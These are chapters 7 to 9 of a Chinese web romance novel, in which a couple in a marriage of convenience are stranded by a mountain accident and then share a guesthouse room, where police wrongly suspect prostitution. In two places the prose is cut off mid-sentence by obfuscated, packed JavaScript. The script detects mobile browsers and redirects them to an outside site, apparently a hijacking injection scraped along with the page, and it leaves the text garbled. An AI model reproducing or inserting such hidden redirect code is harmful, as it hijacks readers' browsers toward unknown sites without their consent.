《联姻后我真香了》 7. 第 7 章 “可你不是要出差么?”乔小沐一脸困惑不解。 李西宴将双肘撑在了两侧的扶手上,白皙修长的十指相抵,淡雅从容,侃侃而谈:“手头的项目并不急切,缓几天再处理也无妨,眼下对乔老板的工作内容更感兴趣,所以才想要应聘乔老板的司机,既能参与其中又能挣些小钱,何乐而不为?” 乔小沐:“……”合着你就是一时兴起才想要和我一起去寻找八沟杜鹃村呗?还顺带着想挣我的钱?挣我的钱?挣我的钱?! 真是一个会算计的资本家! 没门儿! 我乔小沐,决不允许万恶的资本家挣我的钱! 但乔小沐并没有直接拒绝李西宴,而是准备采用迂回战术,打算让他迎难而退:“四爷,我也很想让您参与其中,但奈何我囊中羞涩,给不了您太多报酬呀。” 李西宴轻浅一笑,气定神闲:“无妨,我并不在意报酬,只是想体验几天不同的工作内容而已。” 资本家还能不在意报酬?乔小沐半信半疑,却笑盈盈地开了口:“看来四爷这次是因为好奇心大发了,但是四爷,您万金之躯,受得了舟车劳顿的苦楚么?八沟杜鹃村可能在深山中,需要用您自己的双腿跋涉而去,我真是担心您的身体吃不消呀。” 换言之:你一从小衣来伸手饭来张口的大少爷懂什么叫做吃苦耐劳、身体力行么?瞎凑什么热闹呀?来了只会拖我后腿! 李西宴却反问道:“乔老板从未和我一同出行过,又怎么会知道我吃不了苦呢?” 因为你浑身上下写满了“富家子弟”这四个字,看着就不像是那种能吃苦的人啊……乔小沐无奈不已,不得不把话说得明白些:“四爷,刘婶儿的大嫂时日无多了,随时可能会咽气,我必须尽快找到八沟杜鹃村才行,没时间带着您感受自然体验生活。” 李西宴沉默片刻,回了句:“要是我向你保证,我能够协助你事半功倍呢?” 乔小沐:“你拿什么保证?” 李西宴:“钱和行动。” 乔小沐:“……”哇偶,真是霸道呢。 乔小沐哂笑一声:“那就让我们拭目以待吧~” 显而易见,她并不相信李西宴的话,然而飞机一落地,乔小沐就感受到了来自霸总的强大执行力。 她不用去租车不用去包车不用去雇司机,一辆加满了油的奔驰大G就已经在机场门口停放好了。李西宴兼任了司机的劳务。 车都已经在机场高速上开出去老远了,坐在副驾驶位置的乔小沐的内心还依旧有些恍惚:我怎么就上了李西宴的车呢?我不是一直态度坚决地拒绝和他同行么? 事情好像在往她控制不住的方向倾斜而去,她在不知不觉间就被李西宴带了节奏。 不过也有可能是自己太见钱眼开了,所以才会稀里糊涂地上了李西宴的黄金贼船。 乔小沐咬住了下唇,而后朝左扭头,愤懑地看向了李西宴。 李西宴早已将眼镜重新戴了起来,棱角分明的侧颜线条与金属质感的银色半框眼镜相结合,越发凸显了他英俊的容貌和冷峻的气质。 李西宴也感受到了乔小沐的视线,却始终目不斜视,专心致志地开车。 乔小沐在心里哼了一声,重新把脸扭了回去,双臂抱怀,面无表情地直视着前方,整个人气鼓鼓的。 今天既非周末也非节假日,高速上的车并不多,车道十分空旷。天气也不算好,阴暗暗的,世界看起来有些凄凉。 没过多久,乔小沐就有些犯困了,上下眼皮子直打架,却又不好意思睡觉,脑袋一点又一点,好像小鸡啄米。 李西宴忽然开口,语气温和:“困了就睡吧,距离C县还远,天黑之能赶到就不错了。” 乔小沐瞟了一眼导航,距离C县还有6个小时48分钟。现在的时间是下午一点半,确实是能在天黑之前赶到就不错了。 乔小沐叹了口气,索性直接将脑袋靠在了椅背上,闭上眼睛开始睡觉,然而就在她即将睡着之际,脑海中忽然闪过了一件相当重要的事情,猛然睁开了眼睛:“路程遥远,咱们得先去买些物资!” 李西宴一边开车一边从容不迫地回答说:“后备箱里准备了水、可乐、饼干、面包、医药箱和应急包,你看还需要些什么?” 乔小沐没想到李西宴能考虑的这么周全,惊讶地看了他一眼。 李西宴轻叹口气,语气间流露出了些许无奈:“我以前也很喜欢去野外徒步、探险、露营。” 刚开始,乔小沐还不太明白他的那声叹息和言语间的无奈是什么意思,好几秒钟之后,她才后知后觉地反应过来,李西宴好像不止一次地跟她提起过他曾经很喜欢去野外徒步探险的事情。只是她从来没有放在心里过,就好像他的话非常占据她的CPU内存一样,索性不选择保存,听完就忘。 再一联想到自己刚才在飞机上还相当质疑他户外生存能力的行为,乔小沐当即就有些无地自容了起来。 为表歉意,乔小沐主动开了口:“包您一天,得多钱呀?” 李西宴:“……” 乔小沐也意识到了自己的话有歧义,赶忙纠正道:“我的意思是雇,雇用的意思,不是包,反正不是那种包,您别误会,我只是不想站您的便宜!” 李西宴无奈一笑:“你看着给吧。” 黑心商人乔小沐认认真真地考虑一下了成本,然后说道:“四爷,您也知道的,我这是小本生意,肯定没办法给你太高的价格,要不这样,一天二百,我包您吃住。” 李西宴:“……”从上高中开始他就没有过按天拿钱的概念了。他在幼儿园、小学和初中阶段接受的是和大家同等的义务教育,这也是他父母共同商议过的教育计划,为了让他不和普罗大众脱节,了解社会的本质。 上高中之后,他就出了国,自那时起,他的消费形式就是刷卡,根本不存在按月或者按天拿生活费这一说。毕业之后直接入职集团旗下的分公司,虽然是从基层做起,但也从来没有过按天领取酬劳的概念。 一天二百,真新奇呀。 李西宴欣然点头:“可以。” 乔小沐:“……”你还怪好说话的。 开大G包司机才二百一天,显然是乔小沐占了大便宜。这下乔小沐更不好意思在李西宴开车的时候偷懒睡觉了,索性提起了精神,努力为驾驶员提供情绪价值:“我不睡了,睁着眼陪您一起,您要是累了就换我开。” 李西宴:“你花钱包我,我怎么能让你开?” 乔小沐:“害,你也不用那么客气,咱俩谁跟谁呀!” 然而当车辆驶进山里之后,乔小沐才意识到,自己把话说早了,也将C省的地势地形和天气变化情况预估得太乐观了。 下午四点半左右,原本就阴沉的天色越发灰暗了起来,黑夜提前到来,冰雨落下,天地间浓雾骤起,屋漏偏遭连夜雨的是,他们刚刚抵达了云悬山。 云悬山是横梗在C县东部的一座连绵不断的大山,穿山隧道尚未竣工,所有想要前往C县方向的车辆都必须通过九曲十八弯的盘山公路翻越云悬山。 悬挂在高大山体上的柏油路面早已被雨水打湿,变成了在暗夜中反射着一片片车灯的深蓝色。高速两旁还没有照明灯,只能凭借着车辆自身和来往车辆的灯光判断路况。 云遮雾绕的昏暗环境中,盘山公路的能见度极低,来往方向还不断有身形庞然的大车经过。 这种驾驶情况,别说是握着方向盘的李西宴了,就连坐在副驾驶的乔小沐都打起了十二分的精神,眼盯六路耳听八方,唯恐出什么意外。 车挡风玻璃上的雨刷器不得一秒钟的停息,前一波滴落上去的雨水才刚刚被擦拭掉,下一波就已经密集而至了。 行驶在他们正前方的还是一辆油罐车,压迫感更是拉满。 后方突然传来了一阵刺耳的鸣笛声,紧接着就是油门踩到底的呼啸声,一辆白色轿车如飓风一般急剧地从黑色大G的内侧超了过去,乔小沐见状忍不住骂了句:“神经病找死呀,这路况还敢超车?” 天越黑雨越大,李西宴连眼睛都不敢眨一下了,和乔小沐颇有共鸣:“总有不怕死的人。” 他的话音才刚落,前面就传来了一阵紧急刹车声。橡胶轮胎摩擦地面,发出了一阵尖锐的哀鸣,地面湿润,轮胎打滑,不受方向控制,紧接着,就是一阵惨烈的撞击声。 显而易见,前方有车祸发生,八成就是刚刚那辆白色轿车。 油罐车缓缓停止,李西宴也不得不踩下了刹车,乔小沐他们俩默契地对视了一眼,皆从彼此的眼中读出来了这样一条无奈的信息:好了,这下所有人都得堵路上了。 出门在外,最怕的就是遇见不怕死的人,害人又害己。 大雨瓢泼,哗啦啦的下个不停,云悬山上逐渐积堵起了长长的车队,前后车灯连贯闪烁,犹如盘旋在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14374097|153117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山体上的蜿蜒长龙。 也不知道交警什么时候才能抵达车祸现场,处理疏通路段。 乔小沐绝望地叹息一声:“这得等到什么时候啊?” 李西宴解开了安全带,一边在车内找伞一边平静地说:“到饭点了,先吃点东西吧。” 乔小沐:“……”人类的情绪怎么可以稳定成这个样子? 李西宴打伞下车,从后备箱里取了两瓶矿泉水和两袋面包回来。将矿泉水递给乔小沐的时候,乔小沐摇头拒绝了,只拿了面包。 她一小口一小口地吃完了面包,交警还未现身。 未来几小时迎接着他们的,是漫长的等待呀。 乔小沐苦涩地叹了口气,对李西宴说:“咱俩好像人在囧途了。” 李西宴笑了一下,回了句:“往好了想,也算是一次与众不同的体验。” 乔小沐:“我好不了一点儿。” 李西宴:“……” 乔小沐沉默片刻,委屈可怜又急切:“怎么办?我想上厕所。” 李西宴:“……”这好像真没法儿往下劝了。 李西宴立即关切询问:“你还能忍多久?” 乔小沐一脸悲苦:“我也不知道我的膀胱还能忍耐多久,但我有些着急。” 李西宴抿唇,犹豫着看了一眼装垃圾用的塑料袋:“要不你、” 乔小沐脸颊一红,不等李西宴把话说完就打断了他:“不可能!我不要!”无论如何,她还是要脸的呀,她和李西宴的关系也没亲密到那种不管三急的份上,绝不可能在车上解决! 李西宴也不好再开口了,共情了乔小沐的焦急,也跟着焦急了起来,骨节分明的双手不安地搭在了方向盘上,不断地用大拇指盖顶蹭着食指关节。 好在交警很快就来了,不出半个小时,拥堵的道路就被疏通了。 但他们刚刚也才翻越了半座山而已,还剩下一半的路途需要行驶。 天气恶劣,车祸的惨痛教训还历历在目,乔小沐就算是再着急也不敢催李西宴开快点。 又坚持了一个多小时,他们终于从云悬山上下来了,乔小沐的膀胱也快被憋炸了,脸都憋白了。 有路的地方就有生活和生意,国道两边每隔一段路就会伫立一栋带院子的民宿,李西宴果断将车开进了他们俩从山上下来后遇到的第一家民宿的院子里,借住宿为由赶紧让乔小沐去上了个厕所。 解决完内急的那一刻,乔小沐如释重负如获新生,从厕所里出来之后,还不断地在心里感谢党感谢政府感谢交通局感谢民宿老板。 为了表达这份感谢,乔小沐不假思索地决定今晚就要在这里入住,反正时间也不早了,赶夜路危险。 然而人在倒霉的时候,窘迫的事情那是一桩接一桩。 由于大雨影响了道路状况,大部分惜命人士都选择了就地入住,民宿生意火爆,仅剩下了一张大床房。 这怕是,不太好呀。虽然他们俩是合法夫妻,但却塑料的很,孤男寡女的,共处一室成何体统? 但乔小沐又不好意思跟老板说不住了,因为她都已经用了人家的厕所,还放下了话说今晚一定会住在这里,怎么能够出尔反尔? 乔小沐尴尬地看了李西宴一眼,本想让李西宴开这个口,结果李西宴竟然回了句:“随你。” 乔小沐:“……”你是没看懂我的眼神暗示么? 乔小沐无奈,只好委婉地开了口:“我才给你二百,你跟我睡在这种地方会不会觉得吃亏?” 李西宴神态淡然,似是随遇而安:“还好。” 乔小沐:“……”好,好好好,那就睡吧,反正吃亏的也不是我,我是钢铁直女,你可是疑似弯男! 只订一间房的话,我还省钱了。 乔小沐气闷不已地办理了入住。两人拿着房卡,一前一后往房间走的时候,乔小沐还气冲冲地说了句:“你晚上注意点,要是表现不好的话,我可是会扣你钱的!” 跟在身后的李西宴牵起了唇角,无声地笑了一下,而后淡淡地回了句:“嗯。” 然而就在他们俩关上房门的那一刻,前台大姐立即抓起了电话,迅速拨通了110,声音低沉又急切:“喂,警察局么?我举报我们店里有人卖/淫/嫖/娼,男的、不不不,嫖的是女的,登记姓名叫乔小沐,出来卖的是个男的,叫李西宴,长得特别帅,一晚上才二百,服务不好还得被扣钱!” 8. 第 8 章 民宿装修一般都比较简陋,这种开设在国道两旁的家庭民宿更是朴实无华,屋内除了一张大床和一套桌椅之外,再也没有其他什么大件家具了。 床上铺着的白色床单被套也已经微微泛了黄,冰冷的空气中弥漫着潮腥气。 书桌靠墙角放着,乔小沐的目光顺着角线向上延伸,在屋角处看到了一大片因屋顶漏水而斑驳卷起的墙皮,周边还镶嵌着绿色的青苔。 卫生间和浴室还是用毛玻璃隔离出来的。 88一晚,物不美但确实价廉。 乔小沐呆愣愣地看向了李西宴,不知所措:“咱们俩、怎么睡?” 李西宴:“我可以睡地上。” 乔小沐低头,看了一眼并不是很洁净的地板,当即就摇了头:“不行不行,地上太凉了,你会被冻死的!”当地的气候可比不上西辅,明明都已经是最舒适的五月份了,这里的气温还低的要死,又湿又冷,仿如深冬,他们俩的冲锋衣外套里面都搭配了羽绒内胆。 李西宴神色温顺地看着乔小沐,又试探着说:“我去睡车里?” “车里不是更冷么?”乔小沐只是不喜欢和李西宴当夫妻,并不是讨厌李西宴这个人,更不想让他死。 李西宴薄唇抿起,叹息一声,剑眉微蹙,迟疑不决:“那该怎么办?再换一家酒店?”无论是表情还是语气皆毫无破绽,看起来相当束手无策 乔小沐又一次地拒绝了:“我都已经交完钱了,再换不是浪费钱么?”然而在说完这句话后,乔小沐才意识到这么说实在是太过于利益熏心了,显得自己怪吝啬的,于是又赶紧找补了句,“当然啦钱还是次要的,主要是外面下了那么大的雨,车况那么糟糕,肯定会有很多来往司机选择就近入住,换了一家要是还满房怎么办?咱们俩再灰溜溜地跑回来么?多折腾人呀。” 李西宴缓缓点头,以一种既认真又自愧不如的语气赞成道:“还是乔老板考虑的周到。” 那你看?我相当聪明伶俐呢,不然小本生意怎么赚钱? 不过乔小沐并未把这份沾沾自喜表露出来,一手抱怀,一手摸住了自己的下巴,认真思考了一会儿,撩起眼皮,半是提防半是警告地看向了李西宴:“我是看你老实才同意带着你一起的,你不会趁着三更半夜我睡觉的时候干出什么不老实的事情吧?”虽然他是个疑似弯男,但也只是疑似而已,具体情况如何,还有待考证。 李西宴轻叹口气,无奈反问:“乔老板觉得我敢么?” “嘁,量你也不敢。”乔小沐用右拳击向了左掌心,娟狂一笑,“我姥姥的邻居是一位会武术的老大爷,我跟着他学了十几年!”李西宴要是敢冒犯她一下,她就要他好看! 李西宴无奈保证:“放心,我还没有那么下三滥。”他亦不喜欢强迫和威胁,他要的是她心甘情愿。 顶级猎人从不会急于抓捕猎物,更擅长于精心伪装成猎物的猎物,耐心十足地等待着猎物上钩。 李西宴有的是耐心,计划第一步就是要让目标把他当成猎物。 李西宴又极为诚恳地说了句:“你要是信不过我,我走就是。” 其实乔小沐还是比较信得过李西宴的人品,不然早在家里的时候他就对她手了,刚才的威胁只是为了以防万一。 “算了,咱俩凑合一晚的了,这床挺大的,你不介意就行。”乔小沐背着包走向了房间深处,然后将背包卸在了凳子上,催促道,“时间也不早了,洗漱完赶紧睡觉吧,明天还得开一天呢。” 李西宴跟着乔小沐走了过去,将背包放在了桌面上:“你先去洗吧,我要冲个澡。” 乔小沐满面震惊:“啊?这么冷的天,这么简陋的环境,你还要冲澡?” 李西宴点头:“嗯。”不然怎么成为猎物? 乔小沐:“……”小说诚不我欺,洁癖是霸总们的基本属性之一。 乔小沐可没那么讲究,洗完脸刷完牙就钻进了被窝,连登山裤和内搭衬衫都没脱,只将冲锋衣外套和羽绒服内胆给脱了搭在了椅背上,一是因为温度太冷,不敢脱太多;二是因为嫌床单被套太脏;三是因为今晚要和李西宴同床共枕,穿的太少不合适。 毛玻璃围挡起来的卫生间内逐渐响起了淋浴的哗啦声,乔小沐困意不足,于是就窝在温暖的被窝里刷起了短视频,刷着刷着,突然刷到了一个只在腰间围了一张白色浴巾的肌肉男。 那线条分明的腹肌,那鲜明的人鱼线,那凸起的青色血管……啧啧啧,真性感呀。 乔小沐的嘴,瞬间就撅了起来,丝毫没有察觉到卫生间的水声已经停了。 “乔老板?你睡了吗?” 李西宴的声音忽然从卫生间内传来。 乔小沐不情不愿地摁下了暂停:“怎么啦?” 李西宴:“我忘了拿洗漱包,你能帮我送过来么?” 怎么当总裁的人还丢三落四的?记性这么差合理么? 乔小沐无奈地长叹一口气,掀开被子从床上坐了起来,一边蹬鞋子一边扯着嗓子喊道:“洗漱包在哪?” 李西宴:“背包里。” 乔小沐走到了桌前,从李西宴的背包里找到了他的洗漱包,然后又拎着他的洗漱包走向了卫生间。其实也没几步路。卫生间的毛玻璃门忽然被推开了一道缝隙。 门缝内水汽氤氲,门后伫立着一道修长挺拔的身影,大部分画面都被毛玻璃隔绝出了模糊的效果,像是打了马赛克,唯有那一道门缝间露出的画面是清晰的。 李西宴仅在腰间围着一条白色浴巾,赤/裸着的上半身湿淋淋,紧实的胸膛和线条分明的腹肌上挂满了一道道的晶莹水痕,不断顺着冷白色的肌肤往下流淌。 乔小沐的脚步猛然一顿,呼吸暂停的同时,耳朵根也跟着红了……这画面也,太刺激了吧? 毛玻璃还恰到好处的起到了犹抱琵琶半遮面的效果,只能看到那么多,其他地方全部“马赛克”。 紧接着,一只修长白皙、骨节分明的手就从门缝中伸了出来,手背和手臂上也挂满了晶莹的水珠,搭配着健壮凸起的青色血管,强烈释放着顶级荷尔蒙气息,越发性感诱人。 食色性也。 美人计在什么年头都好用。 乔小沐的脸颊更红,目光开始闪躲,像是干了什么亏心事儿似的,甚至都已经忘了自己正在做什么,手足无措地僵在了原地。 “找到了么?”李西宴低沉又温和的嗓音再度从卫生间内传来。 乔小沐立即开了口,舌头却捋不直:“找找找找找到了。”越发心慌意乱,唯恐李西宴看出端倪。 李西宴低笑一声:“怎么还结巴了?” 乔小沐恼羞成怒:“冷!”说罢立即快走两步,相当暴力地将洗漱包塞进了李西宴的手中,与此同时,房间的大门忽然被从外面用力撞开了,并伴随着一声威严十足的大喝,“都不许动!” 陌生男人突然闯入,乔小沐被吓了一跳,惊恐尖叫一声,直接窜进了卫生间里,撞入了李西宴的怀中。 李西宴也是猝不及防,迅速揽住了乔小沐的腰,将她护在了怀中。 两位警察看到的,就是一位只在腰间围着浴巾的裸/男在卫生间里怀抱着一位衣衫不整的女人的画面,卖/淫/嫖/娼的嫌疑性再加一等。 面对着一男一女两位警察的突袭,乔小沐瑟瑟发抖地缩在李西宴的怀中,一脸懵逼地发问:“你们这是、干嘛呀?” 李西宴一如既往的镇定冷静,不卑不亢地与警方对视着,但深邃的目光中亦充斥着疑惑和询问。 其中一位男警察先出示了自己的证件,然后逐一核对他们俩的姓名身份,确认身份正确后,严厉发问:“你们俩什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14374098|153117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系?” 李西宴瞬间明白了什么,淡定从容地回答说:“夫妻。” 男警察神不改色,持续发问:“怎么证明?” 乔小沐终于后知后觉地意识到了什么,立即说道:“我们俩有结婚证,但是没带,可以让家里人拍照发过了来!” 李西宴却说了句:“我带了。” 乔小沐不可思议:“嗯?”你咋还随身携带着结婚证呢?真是令人感到意外。 李西宴没穿衣服,不方便出去,就示意乔小沐去拿结婚证:“在我背包的夹层里。” 乔小沐立即去找,还真在他的背包最里侧夹层里找到了一本结婚证,立即给那两位警察送了过去,情真意切地说道:“我俩真是夫妻!”虽然塑料,但绝对合法! 直至看到了结婚证,两位警察才对他们俩解除了嫌疑,而后认认真真地向两人解释了一下事情的起因经过,最后又对他们俩配合警方工作的行为表示了感谢。 鉴于李西宴还半裸着,乔小沐就先从卫生间里面出来了,然后体贴地关上了卫生间的毛玻璃门,独自和警方交涉了起来,并对他们的工作表示了极大的理解和支持。 但是在警察离去之后,乔小沐却抱着胳膊坐在床角生气了闷气:到底是谁举报的啊?怎么还怀疑他们俩卖/淫/嫖/娼呢?竟然还怀疑她嫖李西宴?她看起来像是这种随便叫鸭的人么? 警方并未透露举报人,也是处于对举报人的保护和安全考虑,但却郁闷坏了乔小沐,要不是李西宴带了结婚证,他们俩今晚都得在局子里度过。 卫生间的门再度被打开,李西宴终于穿好衣服从里面走了出来,身上的配置和乔小沐差不多,休闲衬衫加运动裤。 乔小沐原本气鼓鼓的,然而在看到李西宴的那一刻,却忽然笑了一下,嘴角想压都压不住。 李西宴也笑了,却明知故问:“你笑什么?” 感觉好玩呗。 这大乌龙事件,让人郁闷又想笑。 更好笑的是,李西宴一高贵的集团太子爷,竟然被人当成出来卖的鸭了哈哈哈哈哈哈哈! 乔小沐捂着肚子倒在了床上,笑得打滚。 李西宴笑叹一声,无奈地摇了摇头,朝着桌子走了过去,重新将结婚证放入了背包的夹层中。 乔小沐擦了擦笑出来的眼泪,侧躺在大床中央,看着李西宴挺拔的后背问道:“你怎么还带着结婚证?” 李西宴:“以备不时之需。” 李西宴的语气听起来一如既往的镇定平静,乔小沐也看不到他的表情,真心称赞了句:“还好你带了,不然咱俩真成卖/淫/嫖/娼的了。”说罢,就翻蹭到了自己刚刚躺着的位置上。 经历了一场乌龙事件后,乔小沐的精力彻底透支,脑袋一挨着枕头就开始犯困了,呢喃着说了句:“我先睡了,你也早点睡吧,明天还得赶路……晚安。” 久违的一声“晚安”,与记忆中的最后一声晚安相隔了五年。 在此期间,李西宴也曾不止一次的思考过,自己对她的感情到底是相依为命时期迸发出的特殊依赖感还是男女之间的爱慕情愫,直至相亲时再见,心跳骤然加快的那一刻,他终于得到了答案。 兵荒马乱即是臣服。 李西宴回头,目不转睛地看着双目轻阖的乔小沐,低声又温柔地开口:“晚安。” 没过多久,安静的房间内就响起了乔小沐的均匀呼吸声。 环境并不算舒适,空气湿冷,设施老旧,窗外的雨打声不断,但起码比危机四伏的原始丛林强得多。 李西宴关了灯,在黑暗中轻手轻脚地上了床,身体才刚刚躺下,睡梦中的乔小沐忽然翻了个身,从背对着李西宴的侧躺姿势变成了正对着他的姿势,紧接着,李西宴就感觉到了身上一沉,乔小沐将一条腿压在了他的大腿上。 9. 第 9 章 李西宴并没有推开乔小沐,无奈地笑了一下,回想起了一段过往。 某日山中有雨,气温低冷,环境恶劣,倒霉的两人为了生存,找了座山洞取暖避雨。 依偎在一起睡觉会更暖和一些。生死存亡之际,也顾不得男女有别。 睡前还好好的,互相搂抱着相安无事,睡着睡着,李西宴忽然感觉喘不上气,紧接着,脸上就挨了一拳,直接给他打醒了,然后他才发现,乔小沐几乎将整个上半身都压在了他的胸口,右手还搭在他的脸上。 也不知道是怎么睡的。 李西宴无奈地将她从自己的身上抱了下来,小心翼翼地放回了原处,然而还没过多久呢,身上一沉,她的大腿就又压了上来。 为了能让自己睡个安生觉,李西宴只好将乔小沐搂紧了一些,免得她再乱来。 那还是他这辈子第一次搂着女人睡觉呢,在他们彼此都极为落魄和狼狈的情况下。 人类最深的羁绊不是互相见证彼此最光鲜亮丽、完美无缺的一面,而是共同目睹了彼此最狼狈不堪、不修边幅的邋遢模样之后,还能互相扶持和欣赏。 那时的她虽然看不见,却用双手抚摸过他的脸。数日没有打理自己,他蓬头垢面,满脸都是胡茬,像是个流浪汉。 黑暗中,李西宴无声地翻了个身,与乔小沐面对面而躺。 民宿窗帘的质量也不怎么好,薄薄一层粗糙的布料,挡不住雨后皎洁的夜色,房间中弥漫着淡蓝色的月光,像是漂浮着一层水。 乔小沐睫毛长长的,浓密又挺翘,在眼底洒下了一道淡淡的阴影,越发将她的睡颜衬托的恬静乖巧。 忽然间,乔小沐纤瘦的身体瑟缩了一下,双臂无意识地抱紧了自己,像是无法抵挡夜里的寒冬温度。 李西宴立即伸出了手臂,将她圈入了自己怀中,如同曾经一般,用自己的体温给她取暖。 只不过当时她的眼睛失明,看不见他的模样,但好歹还能通过其他感官认定他的人。 现在眼睛好了,能看到了,却还不如瞎了的时候。 换句话说,现在变成睁眼瞎了,窗户纸送到她面前她都看不见,更别提捅破了。 李西宴苦笑一声,满含无奈地怀中人,喃喃自语:“真是没良心啊。” * 乔小沐睡前忘记了定闹钟,但在这种简陋又湿冷的环境下也很难睡到日上三竿,窗外的天色才刚蒙蒙亮,乔小沐就自然醒了。 她的眼睛尚未睁开,意识先清醒了过来,能感受到房间中的整体温度比睡前更冰冷了几分,但她却不冷,因为她正在被一股体贴的温暖包围着。 这种温暖不只是来源于被窝,还有某个人的怀抱……乔小沐猛然睁开了眼睛,首先映入眼帘的是性感凸起的喉结和点缀在其旁侧的黑痣,视线缓缓上移,乔小沐看到了李西宴的脸。 两人之间的距离近在咫尺,李西宴的睡颜清晰可见。也不确定是因为两人之间的距离离得太近了还是因为睡梦中的李西宴神色状态越发平静从容,总之乔小沐感受到了一股强烈的美学冲击感,李西宴的面部线条越发立体鲜明了起来,如琢如磨,骨相极佳。 乔小沐的第一反应是:他可真好看啊;紧随其后的第二反应才是惊慌失措:我咋和他抱在一起了? 不过也情有可原吧,昨晚那么冷,出于生存的本能,他们俩睡着睡着就无意识相拥在了一起、互相取暖也情有可原? 乔小沐努力地在心里说服着自己,以确保头脑冷静。 深深地吸了一口气之后,乔小沐小心翼翼地握住了李西宴的手腕,本想将他搭在自己后腰上的那只手臂拿起来,但反手操作实在是太困难了,乔小沐一个没拿稳,李西宴的手腕就从她的手心里滑了下去,重新砸回了她的身上。 李西宴微微皱了皱眉头,醒了。 猝不及防间四目相对,尴尬暴击。乔小沐呼吸停滞,不知所措,浑身僵硬。 李西宴也愣住了。 刚刚睡醒,她浓密的长发微微有些凌乱,姣美的面颊白里透红,明亮的杏仁眼中透露着些许惊慌,呆滞蜷缩在他怀中的模样,像极了一只无意间被猎人抓了现行的小狐狸。 一只白狐狸,妩媚的白狐。 她身上穿了一件米白色的休闲衬衫,为了睡觉舒适,第一颗纽扣没扣,领口松松垮垮地敞开着,乌黑的发丝胡乱地扫进了她雪白纤细的脖颈间,线条性感的锁骨上搭着一根黑色的细长吊带,背心布料紧贴着起伏柔软的胸口。 当地天冷,身上衣服穿得多,为了追求舒适,乔小沐就没穿支撑型的内衣,只穿了一件黑色吊带背心。 衬衫领口不规则地敞开在了背心领口的下方。乔小沐还是侧躺姿势,沟壑分明,典型的穿衣显瘦脱衣有肉。 但她的长相却又偏清冷,明眸皓齿楚楚动人,与火辣的身材截然不同。 极大的发差感碰撞出了强烈的诱惑力。 清晨又是荷尔蒙最为鼓噪的时段。 李西宴的呼吸猛然一滞,口干舌燥的同时,猛然抓住了搭在两人身上的被子,果断隔挡在了乔小沐的胸前。 乔小沐这才意识到自己走光了,当即就羞愤难当的红了脸,然而还不等她做出任何反应呢,李西宴就先有了反应。 两人的身体紧挨着,乔小沐轻而易举地感受到了他的反应,当即就不知所措了起来,满心焦急慌乱,甚至有点儿想哭,眼眶都被吓红了。 李西宴猛然从床上坐了起来,迅速冲向了卫生间。 乔小沐用被子蒙住了脑袋,无声的呐喊着,如同热锅上的蚂蚁一般焦虑不安……怎么就发生了这种事儿呢?尴尬的要命呀!往后的路还那么长,该怎么相处啊? 真是想喊救命,想打110报警,自我举报卖/淫/嫖/娼,让警察叔叔把他们俩都抓走,抓进局子里分开关,就不用面对尴尬了。 毛玻璃墙内忽然响起了哗啦啦的流水声。乔小沐猜测,李西宴应该是去洗澡了,但她一直龟缩在被窝里,所以并没有注意到卫生间内始终没有亮灯,毛玻璃墙壁上也始终没有凝结水雾。 李西宴穿戴整齐、浑身冰冷地从卫生间里走出来的时候,乔小沐还缩在被窝里,打定了主意装死,尽一切可能拖延两人照面的时间。 虽然两人都没有经历过人事,但李西宴足足比乔小沐大了五岁,心态更为成熟,遇事也更为冷静,他知道乔小沐需要时间去独处、去冷静度过这件事,所以就率先收拾好了行囊,背着包离开了房间:“我去车里等你。” 关门声响起之后又过了好几秒钟,乔小沐才敢把被子给掀开,头脸通红,像是一颗秋天熟透了的红苹果。 屋内的空气依旧湿冷,仿如冰窖,却浇灭不了乔小沐皮肤表层散发出的热度。她呆愣愣地躺在大床上,直勾勾地盯着天花板上那块即将剥脱的墙皮,焦灼混乱的思绪逐渐清晰了起来,汇聚到了一个奇怪的点上:真相大白,他不是gay。 李西宴是一个再正常不过的成熟男人。 也算是个意外获得的好消息吧,起码她没被欺骗着当同妻。 乔小沐舒了口气,又躺在床上冷静了一会儿,情绪平和了许多,掀开被子起了床,洗漱过后,迅速整理了一下行囊,又仔细地在房间中检查了一番,确认没有遗落物品之后,拿着房卡离开了房间。 退房的时候,前台大姐格外热情,还强行赠送了乔小沐几瓶矿泉水和几套洗漱用具。真是热情到令人不知所措,令人受宠若惊。 乔小沐想破脑袋也想不明白前台大姐为何会忽然变得这么热情,只好无奈地将原因归咎于“我长得好看”这一点上。 车停在院子里,李西宴并未在车上,反而蹲在了院门口,正在逗弄民宿老板养的土狗。 听闻乔小沐的脚步声后,李西宴才从地上站了起来,回身看向了乔小沐,目光平静,语气温和:“早上想吃什么?” 乔小沐原本还有些尴尬,但瞧着李西宴这么坦然,她也就不再尴尬了:“这儿离C县应该不远了,要不去县里吃?还能吃顿好的。”昨天吃了一天的矿泉水配面包,今天真不想再吃了。 李西宴拿出手机,打开导航看了一眼:“路上不堵车的话,也就四十分钟的车程,现在六点五十,七点半左右能赶到。” 乔小沐点了头:“行。” 两人一同上了车,清晨的尴尬事件就这么自然而然地翻了篇。 依旧是李西宴开车,越野车再度奔驰在了通往C县的蜿蜒国道上,然而尚未抵达C县,乔小沐就发现了李西宴的不对劲儿—— 途经加油站,李西宴转进了站中,准备将油箱加满,以防万一。乔小沐虽然爱钱,但并不热衷于占便宜 